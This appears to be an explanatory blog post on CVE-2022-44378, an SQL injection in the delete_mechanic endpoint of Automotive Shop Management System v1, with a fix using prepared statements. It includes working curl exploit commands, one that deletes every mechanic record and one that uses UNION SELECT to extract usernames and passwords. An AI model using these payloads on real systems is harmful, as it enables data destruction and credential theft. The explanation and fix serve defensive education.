In November 2022, a critical SQL injection vulnerability was discovered in the Automotive Shop Management System v1.. Tracked as CVE-2022-44378, this flaw exists in the delete_mechanic function inside the Master.php file (/asms/classes/Master.php?f=delete_mechanic). In this post, I’ll break down what this vulnerability is, why it’s dangerous, and demonstrate—step by step—how it can be exploited. We’ll include clear code examples and links for more reading.

What is CVE-2022-44378?

CVE-2022-44378 is an SQL injection vulnerability. In simple terms, a hacker can manipulate a web application's database by inserting malicious SQL code into an input field or HTTP request. If the application doesn't properly validate and sanitize user input, it can expose sensitive data, allow unauthorized access, or even destroy database contents.

Affected Product:  
Automotive Shop Management System v1.  
Vulnerable Endpoint:  
/asms/classes/Master.php?f=delete_mechanic  
Severity:  
High (Critical if the database contains sensitive info)

How Does the Vulnerability Work?

When deleting a mechanic from the automotive shop’s database, the software accepts a parameter (usually via GET or POST request) specifying which mechanic to delete. However, it directly adds this parameter in an SQL query without sanitizing, escaping, or validating the value.

Here’s a simplified version of what the backend PHP code could look like

// Master.php

if($_GET['f'] == 'delete_mechanic'){
    $id = $_POST['id']; // or $_GET['id']
    $query = "DELETE FROM mechanics WHERE id = $id";
    mysqli_query($conn, $query);
}

What’s wrong?
The value $id is supplied by the user. The app uses it directly in its SQL query, making it possible for attackers to insert arbitrary SQL code.

The vulnerable endpoint is accessed like this

POST /asms/classes/Master.php?f=delete_mechanic

Suppose an attacker submits the following request instead of a simple number

id=1 OR 1=1

Using cURL

curl -X POST "http://target.com/asms/classes/Master.php?f=delete_mechanic"; \
     -d "id=1 OR 1=1"

This tells the database

DELETE FROM mechanics WHERE id = 1 OR 1=1;

Result:
The query deletes all mechanics—not just the one with ID 1—since OR 1=1 is always true.

Step 3: Extracting Data (Advanced)

With more refined injection, attackers can even extract information. For instance, using error-based payloads, attackers can force the database to reveal data via error messages or using UNION SELECT.

Example payload to extract data

id=1 UNION SELECT 1, username, password FROM users--

An attacker could send

curl -X POST "http://target.com/asms/classes/Master.php?f=delete_mechanic"; \
     -d "id=1 UNION SELECT 1,username,password FROM users--"

If the results are shown in the HTTP response or an error is given, sensitive data like usernames and hashed passwords could leak.

Mitigation

How to fix this?  
Always use prepared statements or parameterized queries. Never directly trust user input in SQL queries.

Secure Code Example

if($_GET['f'] == 'delete_mechanic'){
    $stmt = $conn->prepare("DELETE FROM mechanics WHERE id = ?");
    $stmt->bind_param("i", $_POST['id']);
    $stmt->execute();
}

This change ensures that id is treated as an integer and can’t be exploited with SQL code.

References

- CVE-2022-44378 at NIST
- Exploit Database Notice
- Original Report at Packet Storm
- OWASP SQL Injection Guide

In Summary

CVE-2022-44378 shows how failing to properly validate and escape user input can put entire databases at risk—even in less commonly targeted applications like automotive shop software. If you use or develop web apps, always sanitize inputs and use prepared statements. If you run this system, update, patch, or secure your code immediately.

If you have questions or want more tips on hardening PHP applications against SQL injections, feel free to reach out!

Timeline

Published on: 11/18/2022 18:15:00 UTC
Last modified on: 11/21/2022 01:54:00 UTC